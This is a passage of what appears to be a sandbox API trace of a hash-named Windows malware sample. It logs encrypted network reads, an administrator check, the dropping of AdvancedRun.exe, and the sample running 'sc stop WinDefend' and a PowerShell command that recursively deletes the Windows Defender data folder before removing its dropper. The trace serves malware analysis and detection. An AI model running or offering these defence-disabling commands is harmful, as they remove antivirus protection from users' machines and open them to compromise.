CoTaskMemAlloc (cb=0x210) returned 0x860ff48 [0172.787] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_MinCount", lpBuffer=0x860ff48, nSize=0x106 | out: lpBuffer="") returned 0x0 [0172.787] CoTaskMemFree (pv=0x860ff48) [0172.788] EncryptMessage (in: phContext=0x219d784, fQOP=0x0, pMessage=0x21a7ba0, MessageSeqNo=0x0 | out: pMessage=0x21a7ba0) returned 0x0 [0172.793] send (s=0x4d0, buf=0x21a6678*, len=197, flags=0) returned 197 [0172.797] setsockopt (s=0x4d0, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0172.799] recv (in: s=0x4d0, buf=0x21b3ee0, len=5, flags=0 | out: buf=0x21b3ee0*) returned 5 [0173.135] recv (in: s=0x4d0, buf=0x21b3ee5, len=1200, flags=0 | out: buf=0x21b3ee5*) returned 1200 [0173.136] DecryptMessage (in: phContext=0x219d784, pMessage=0x21b7fa0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x21b7fa0, pfQOP=0x0) returned 0x0 [0173.156] setsockopt (s=0x4d0, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0173.160] recv (in: s=0x4d0, buf=0x21b3ee0, len=5, flags=0 | out: buf=0x21b3ee0*) returned 5 [0173.160] recv (in: s=0x4d0, buf=0x21b3ee5, len=2352, flags=0 | out: buf=0x21b3ee5*) returned 2352 [0173.161] DecryptMessage (in: phContext=0x219d784, pMessage=0x21da444, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x21da444, pfQOP=0x0) returned 0x0 [0173.161] recv (in: s=0x4d0, buf=0x21b3ee0, len=5, flags=0 | out: buf=0x21b3ee0*) returned 5 [0173.161] recv (in: s=0x4d0, buf=0x21b3ee5, len=704, flags=0 | out: buf=0x21b3ee5*) returned 704 [0173.161] DecryptMessage (in: phContext=0x219d784, pMessage=0x21da558, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x21da558, pfQOP=0x0) returned 0x0 [0173.162] recv (in: s=0x4d0, buf=0x21b3ee0, len=5, flags=0 | out: buf=0x21b3ee0*) returned 5 [0173.162] recv (in: s=0x4d0, buf=0x21b3ee5, len=4160, flags=0 | out: buf=0x21b3ee5*) returned 4160 [0173.162] DecryptMessage (in: phContext=0x219d784, pMessage=0x21da66c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x21da66c, pfQOP=0x0) returned 0x0 [0173.163] recv (in: s=0x4d0, buf=0x21b3ee0, len=5, flags=0 | out: buf=0x21b3ee0*) returned 5 [0173.163] recv (in: s=0x4d0, buf=0x21b3ee5, len=5808, flags=0 | out: buf=0x21b3ee5*) returned 5808 [0173.163] DecryptMessage (in: phContext=0x219d784, pMessage=0x21da780, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x21da780, pfQOP=0x0) returned 0x0 [0173.163] recv (in: s=0x4d0, buf=0x21b3ee0, len=5, flags=0 | out: buf=0x21b3ee0*) returned 5 [0173.163] recv (in: s=0x4d0, buf=0x21b3ee5, len=6960, flags=0 | out: buf=0x21b3ee5*) returned 6960 [0173.163] DecryptMessage (in: phContext=0x219d784, pMessage=0x21da894, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x21da894, pfQOP=0x0) returned 0x0 [0173.163] recv (in: s=0x4d0, buf=0x21b3ee0, len=5, flags=0 | out: buf=0x21b3ee0*) returned 5 [0173.164] recv (in: s=0x4d0, buf=0x21b3ee5, len=8112, flags=0 | out: buf=0x21b3ee5*) returned 8112 [0173.164] DecryptMessage (in: phContext=0x219d784, pMessage=0x21da9a8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x21da9a8, pfQOP=0x0) returned 0x0 [0173.164] recv (in: s=0x4d0, buf=0x21b3ee0, len=5, flags=0 | out: buf=0x21b3ee0*) returned 5 [0173.164] recv (in: s=0x4d0, buf=0x21b3ee5, len=9264, flags=0 | out: buf=0x21b3ee5*) returned 9264 [0173.164] DecryptMessage (in: phContext=0x219d784, pMessage=0x21daabc, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x21daabc, pfQOP=0x0) returned 0x0 [0173.164] recv (in: s=0x4d0, buf=0x21b3ee0, len=5, flags=0 | out: buf=0x21b3ee0*) returned 5 [0173.164] recv (in: s=0x4d0, buf=0x21b3ee5, len=2064, flags=0 | out: buf=0x21b3ee5*) returned 191 [0173.164] recv (in: s=0x4d0, buf=0x21b3fa4, len=1873, flags=0 | out: buf=0x21b3fa4*) returned 1873 [0173.192] DecryptMessage (in: phContext=0x219d784, pMessage=0x21dabd0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x21dabd0, pfQOP=0x0) returned 0x0 [0173.192] recv (in: s=0x4d0, buf=0x21b3ee0, len=5, flags=0 | out: buf=0x21b3ee0*) returned 5 [0173.192] recv (in: s=0x4d0, buf=0x21b3ee5, len=11568, flags=0 | out: buf=0x21b3ee5*) returned 11568 [0173.193] DecryptMessage (in: phContext=0x219d784, pMessage=0x21dace4, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x21dace4, pfQOP=0x0) returned 0x0 [0173.193] recv (in: s=0x4d0, buf=0x21b3ee0, len=5, flags=0 | out: buf=0x21b3ee0*) returned 5 [0173.193] recv (in: s=0x4d0, buf=0x21b3ee5, len=12720, flags=0 | out: buf=0x21b3ee5*) returned 12720 [0173.194] DecryptMessage (in: phContext=0x219d784, pMessage=0x21dadf8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x21dadf8, pfQOP=0x0) returned 0x0 [0173.194] recv (in: s=0x4d0, buf=0x21b3ee0, len=5, flags=0 | out: buf=0x21b3ee0*) returned 5 [0173.194] recv (in: s=0x4d0, buf=0x21b3ee5, len=1728, flags=0 | out: buf=0x21b3ee5*) returned 1728 [0173.194] DecryptMessage (in: phContext=0x219d784, pMessage=0x21daf0c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x21daf0c, pfQOP=0x0) returned 0x0 [0173.195] recv (in: s=0x4d0, buf=0x21b3ee0, len=5, flags=0 | out: buf=0x21b3ee0*) returned 5 [0173.195] recv (in: s=0x4d0, buf=0x21b3ee5, len=15024, flags=0 | out: buf=0x21b3ee5*) returned 14075 [0173.195] recv (in: s=0x4d0, buf=0x21b75e0, len=949, flags=0 | out: buf=0x21b75e0*) returned 949 [0173.197] DecryptMessage (in: phContext=0x219d784, pMessage=0x21db020, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x21db020, pfQOP=0x0) returned 0x0 [0173.199] recv (in: s=0x4d0, buf=0x21b3ee0, len=5, flags=0 | out: buf=0x21b3ee0*) returned 5 [0173.199] recv (in: s=0x4d0, buf=0x21b3ee5, len=14048, flags=0 | out: buf=0x21b3ee5*) returned 9502 [0173.199] recv (in: s=0x4d0, buf=0x21b6403, len=4546, flags=0 | out: buf=0x21b6403*) returned 3472 [0173.218] recv (in: s=0x4d0, buf=0x21b7193, len=1074, flags=0 | out: buf=0x21b7193*) returned 1074 [0173.218] DecryptMessage (in: phContext=0x219d784, pMessage=0x21db148, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x21db148, pfQOP=0x0) returned 0x0 [0173.218] recv (in: s=0x4d0, buf=0x21b3ee0, len=5, flags=0 | out: buf=0x21b3ee0*) returned 5 [0173.219] recv (in: s=0x4d0, buf=0x21db1e5, len=16448, flags=0 | out: buf=0x21db1e5*) returned 16448 [0173.219] DecryptMessage (in: phContext=0x219d784, pMessage=0x21df2bc, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x21df2bc, pfQOP=0x0) returned 0x0 [0173.219] recv (in: s=0x4d0, buf=0x21db1e0, len=5, flags=0 | out: buf=0x21db1e0*) returned 5 [0173.219] recv (in: s=0x4d0, buf=0x21db1e5, len=16448, flags=0 | out: buf=0x21db1e5*) returned 16448 [0173.219] DecryptMessage (in: phContext=0x219d784, pMessage=0x21df3d0, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x21df3d0, pfQOP=0x0) returned 0x0 [0173.220] recv (in: s=0x4d0, buf=0x21db1e0, len=5, flags=0 | out: buf=0x21db1e0*) returned 5 [0173.221] recv (in: s=0x4d0, buf=0x21db1e5, len=4160, flags=0 | out: buf=0x21db1e5*) returned 4160 [0173.221] DecryptMessage (in: phContext=0x219d784, pMessage=0x21df4e4, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x21df4e4, pfQOP=0x0) returned 0x0 [0173.221] recv (in: s=0x4d0, buf=0x21db1e0, len=5, flags=0 | out: buf=0x21db1e0*) returned 5 [0173.221] recv (in: s=0x4d0, buf=0x21db1e5, len=16448, flags=0 | out: buf=0x21db1e5*) returned 16448 [0173.221] DecryptMessage (in: phContext=0x219d784, pMessage=0x21df5f8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x21df5f8, pfQOP=0x0) returned 0x0 [0173.221] recv (in: s=0x4d0, buf=0x21db1e0, len=5, flags=0 | out: buf=0x21db1e0*) returned 5 [0173.221] recv (in: s=0x4d0, buf=0x21db1e5, len=16160, flags=0 | out: buf=0x21db1e5*) returned 8073 [0173.221] recv (in: s=0x4d0, buf=0x21dd16e, len=8087, flags=0 | out: buf=0x21dd16e*) returned 8087 [0173.242] DecryptMessage (in: phContext=0x219d784, pMessage=0x21df70c, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x21df70c, pfQOP=0x0) returned 0x0 [0173.243] recv (in: s=0x4d0, buf=0x21db1e0, len=5, flags=0 | out: buf=0x21db1e0*) returned 5 [0173.243] recv (in: s=0x4d0, buf=0x21db1e5, len=16448, flags=0 | out: buf=0x21db1e5*) returned 1568 [0173.243] recv (in: s=0x4d0, buf=0x21db805, len=14880, flags=0 | out: buf=0x21db805*) returned 9660 [0173.246] recv (in: s=0x4d0, buf=0x21dddc1, len=5220, flags=0 | out: buf=0x21dddc1*) returned 5220 [0173.246] DecryptMessage (in: phContext=0x219d784, pMessage=0x21df820, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x21df820, pfQOP=0x0) returned 0x0 [0173.246] recv (in: s=0x4d0, buf=0x21db1e0, len=5, flags=0 | out: buf=0x21db1e0*) returned 5 [0173.247] recv (in: s=0x4d0, buf=0x21db1e5, len=16448, flags=0 | out: buf=0x21db1e5*) returned 16448 [0173.247] DecryptMessage (in: phContext=0x219d784, pMessage=0x21df934, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x21df934, pfQOP=0x0) returned 0x0 [0173.247] recv (in: s=0x4d0, buf=0x21db1e0, len=5, flags=0 | out: buf=0x21db1e0*) returned 5 [0173.247] recv (in: s=0x4d0, buf=0x21db1e5, len=16448, flags=0 | out: buf=0x21db1e5*) returned 16448 [0173.247] DecryptMessage (in: phContext=0x219d784, pMessage=0x21dfa48, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x21dfa48, pfQOP=0x0) returned 0x0 [0173.249] recv (in: s=0x4d0, buf=0x21db1e0, len=5, flags=0 | out: buf=0x21db1e0*) returned 5 [0173.249] recv (in: s=0x4d0, buf=0x21db1e5, len=16448, flags=0 | out: buf=0x21db1e5*) returned 16448 [0173.249] DecryptMessage (in: phContext=0x219d784, pMessage=0x21dfb70, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x21dfb70, pfQOP=0x0) returned 0x0 [0173.250] recv (in: s=0x4d0, buf=0x21db1e0, len=5, flags=0 | out: buf=0x21db1e0*) returned 5 [0173.250] recv (in: s=0x4d0, buf=0x21db1e5, len=15440, flags=0 | out: buf=0x21db1e5*) returned 15440 [0173.250] DecryptMessage (in: phContext=0x219d784, pMessage=0x21dfc84, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x21dfc84, pfQOP=0x0) returned 0x0 [0173.250] SetEvent (hEvent=0x2a4) returned 1 [0173.475] GetWindowTextLengthW (hWnd=0x50148) returned 5 [0173.475] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0173.475] GetSystemMetrics (nIndex=42) returned 0 [0173.475] GetWindowTextW (in: hWnd=0x50148, lpString=0x3ee9f0, nMaxCount=6 | out: lpString="Form1") returned 5 [0173.476] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0xd, wParam=0x6, lParam=0x3ee9f0) returned 0x5 [0178.469] GetWindowTextLengthW (hWnd=0x50148) returned 5 [0178.469] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0178.469] GetSystemMetrics (nIndex=42) returned 0 [0178.469] GetWindowTextW (in: hWnd=0x50148, lpString=0x3ee9f0, nMaxCount=6 | out: lpString="Form1") returned 5 [0178.469] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0xd, wParam=0x6, lParam=0x3ee9f0) returned 0x5 [0183.476] GetWindowTextLengthW (hWnd=0x50148) returned 5 [0183.476] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0183.476] GetSystemMetrics (nIndex=42) returned 0 [0183.476] GetWindowTextW (in: hWnd=0x50148, lpString=0x3ee9f0, nMaxCount=6 | out: lpString="Form1") returned 5 [0183.476] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0xd, wParam=0x6, lParam=0x3ee9f0) returned 0x5 [0188.485] GetWindowTextLengthW (hWnd=0x50148) returned 5 [0188.485] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0188.485] GetSystemMetrics (nIndex=42) returned 0 [0188.485] GetWindowTextW (in: hWnd=0x50148, lpString=0x3ee9f0, nMaxCount=6 | out: lpString="Form1") returned 5 [0188.485] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0xd, wParam=0x6, lParam=0x3ee9f0) returned 0x5 [0193.501] GetWindowTextLengthW (hWnd=0x50148) returned 5 [0193.501] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0193.501] GetSystemMetrics (nIndex=42) returned 0 [0193.501] GetWindowTextW (in: hWnd=0x50148, lpString=0x3ee9f0, nMaxCount=6 | out: lpString="Form1") returned 5 [0193.502] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0xd, wParam=0x6, lParam=0x3ee9f0) returned 0x5 [0198.514] GetWindowTextLengthW (hWnd=0x50148) returned 5 [0198.515] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0198.515] GetSystemMetrics (nIndex=42) returned 0 [0198.515] GetWindowTextW (in: hWnd=0x50148, lpString=0x3ee9f0, nMaxCount=6 | out: lpString="Form1") returned 5 [0198.515] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0xd, wParam=0x6, lParam=0x3ee9f0) returned 0x5 [0235.675] GetCurrentProcessId () returned 0xed0 [0235.676] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xed0) returned 0x3fc [0235.676] EnumProcessModules (in: hProcess=0x3fc, lphModule=0x223e840, cb=0x100, lpcbNeeded=0x3ee4f4 | out: lphModule=0x223e840, lpcbNeeded=0x3ee4f4) returned 1 [0235.678] EnumProcessModules (in: hProcess=0x3fc, lphModule=0x223e94c, cb=0x200, lpcbNeeded=0x3ee4f4 | out: lphModule=0x223e94c, lpcbNeeded=0x3ee4f4) returned 1 [0235.680] GetModuleInformation (in: hProcess=0x3fc, hModule=0x1a0000, lpmodinfo=0x223eb8c, cb=0xc | out: lpmodinfo=0x223eb8c*(lpBaseOfDll=0x1a0000, SizeOfImage=0x66000, EntryPoint=0x1a611e)) returned 1 [0235.680] CoTaskMemAlloc (cb=0x804) returned 0x865ced0 [0235.681] GetModuleBaseNameW (in: hProcess=0x3fc, hModule=0x1a0000, lpBaseName=0x865ced0, nSize=0x800 | out: lpBaseName="ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") returned 0x44 [0235.681] CoTaskMemFree (pv=0x865ced0) [0235.682] CoTaskMemAlloc (cb=0x804) returned 0x865ced0 [0235.682] GetModuleFileNameExW (in: hProcess=0x3fc, hModule=0x1a0000, lpFilename=0x865ced0, nSize=0x800 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 0x5f [0235.682] CoTaskMemFree (pv=0x865ced0) [0235.682] CloseHandle (hObject=0x3fc) returned 1 [0235.683] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", nBufferLength=0x105, lpBuffer=0x3ee004, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", lpFilePart=0x0) returned 0x5f [0235.731] GetCurrentProcess () returned 0xffffffff [0235.731] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ee490 | out: TokenHandle=0x3ee490*=0x3fc) returned 1 [0235.735] GetTokenInformation (in: TokenHandle=0x3fc, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x3ee490 | out: TokenInformation=0x0, ReturnLength=0x3ee490) returned 0 [0235.735] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x8a9988 [0235.736] GetTokenInformation (in: TokenHandle=0x3fc, TokenInformationClass=0x8, TokenInformation=0x8a9988, TokenInformationLength=0x4, ReturnLength=0x3ee490 | out: TokenInformation=0x8a9988, ReturnLength=0x3ee490) returned 1 [0235.737] LocalFree (hMem=0x8a9988) returned 0x0 [0235.737] DuplicateTokenEx (in: hExistingToken=0x3fc, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x3ee498 | out: phNewToken=0x3ee498*=0x498) returned 1 [0235.738] CheckTokenMembership (in: TokenHandle=0x498, SidToCheck=0x22410c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x3ee4a8 | out: IsMember=0x3ee4a8) returned 1 [0235.738] CloseHandle (hObject=0x498) returned 1 [0235.738] CoTaskMemAlloc (cb=0x20c) returned 0x8c0b70 [0235.738] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x8c0b70 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0235.739] CoTaskMemFree (pv=0x8c0b70) [0235.739] GetLongPathNameW (in: lpszShortPath="C:\\Users\\KEECFM~1\\", lpszLongPath=0x3edfcc, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\") returned 0x13 [0235.742] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x3edfe0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x26 [0235.744] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe", nBufferLength=0x105, lpBuffer=0x3edfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe", lpFilePart=0x0) returned 0x35 [0235.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3ee248) returned 1 [0235.744] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\advancedrun.exe"), fInfoLevelId=0x0, lpFileInformation=0x224173c | out: lpFileInformation=0x224173c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0235.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3ee244) returned 1 [0235.755] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe.config", nBufferLength=0x105, lpBuffer=0x3edd94, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe.config", lpFilePart=0x0) returned 0x66 [0235.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3edfdc) returned 1 [0235.755] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe.config" (normalized: "c:\\users\\keecfmwgj\\desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x3ee2a0 | out: lpFileInformation=0x3ee2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0235.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3edfd8) returned 1 [0236.152] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe", nBufferLength=0x105, lpBuffer=0x3edeb8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe", lpFilePart=0x0) returned 0x35 [0236.152] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3ee3d0) returned 1 [0236.152] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\advancedrun.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x498 [0236.157] GetFileType (hFile=0x498) returned 0x1 [0236.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3ee3cc) returned 1 [0236.157] GetFileType (hFile=0x498) returned 0x1 [0236.157] WriteFile (in: hFile=0x498, lpBuffer=0x3342d00*, nNumberOfBytesToWrite=0x16378, lpNumberOfBytesWritten=0x3ee480, lpOverlapped=0x0 | out: lpBuffer=0x3342d00*, lpNumberOfBytesWritten=0x3ee480*=0x16378, lpOverlapped=0x0) returned 1 [0236.161] CloseHandle (hObject=0x498) returned 1 [0236.426] CoTaskMemAlloc (cb=0x210) returned 0x865ced0 [0236.426] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x865ced0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0236.426] CoTaskMemFree (pv=0x865ced0) [0236.427] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe\" /EXEFilename \"C:\\Windows\\System32\\sc.exe\" /WindowState 0 /CommandLine \"stop WinDefend\" /StartDirectory \"\" /RunAs 8 /Run", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\kEecfMwgj\\Desktop", lpStartupInfo=0x3ee184*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2299c88 | out: lpCommandLine="\"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe\" /EXEFilename \"C:\\Windows\\System32\\sc.exe\" /WindowState 0 /CommandLine \"stop WinDefend\" /StartDirectory \"\" /RunAs 8 /Run", lpProcessInformation=0x2299c88*(hProcess=0x4a4, hThread=0x498, dwProcessId=0xdd0, dwThreadId=0xdd4)) returned 1 [0236.454] CloseHandle (hObject=0x498) returned 1 [0236.454] GetCurrentProcess () returned 0xffffffff [0236.454] GetCurrentProcess () returned 0xffffffff [0236.454] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x4a4, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x3ee484, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x3ee484*=0x498) returned 1 [0236.454] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3ee47c*=0x498, lpdwindex=0x3ee2a0 | out: lpdwindex=0x3ee2a0) returned 0x0 [0244.274] CloseHandle (hObject=0x498) returned 1 [0244.278] CoTaskMemAlloc (cb=0x210) returned 0x865ced0 [0244.278] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x865ced0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0244.278] CoTaskMemFree (pv=0x865ced0) [0244.279] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe\" /EXEFilename \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" /WindowState 0 /CommandLine \"rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse\" /StartDirectory \"\" /RunAs 8 /Run", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\kEecfMwgj\\Desktop", lpStartupInfo=0x3ee148*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x229ab40 | out: lpCommandLine="\"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe\" /EXEFilename \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" /WindowState 0 /CommandLine \"rmdir 'C:\\ProgramData\\Microsoft\\Windows Defender' -Recurse\" /StartDirectory \"\" /RunAs 8 /Run", lpProcessInformation=0x229ab40*(hProcess=0x26c, hThread=0x498, dwProcessId=0xe0c, dwThreadId=0x404)) returned 1 [0244.302] CloseHandle (hObject=0x498) returned 1 [0244.302] GetCurrentProcess () returned 0xffffffff [0244.302] GetCurrentProcess () returned 0xffffffff [0244.302] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x26c, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x3ee484, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x3ee484*=0x498) returned 1 [0244.303] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3ee47c*=0x498, lpdwindex=0x3ee2a0 | out: lpdwindex=0x3ee2a0) returned 0x0 [0246.354] CloseHandle (hObject=0x498) returned 1 [0248.186] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe", nBufferLength=0x105, lpBuffer=0x3edfdc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe", lpFilePart=0x0) returned 0x35 [0248.188] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\advancedrun.exe")) returned 1 [0248.868] GetCurrentProcess () returned 0xffffffff [0248.868] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ee494 | out: TokenHandle=0x3ee494*=0x498) returned 1 [0248.869] GetTokenInformation (in: TokenHandle=0x498, TokenInformationClass=0x8, TokenInformation=0x0, 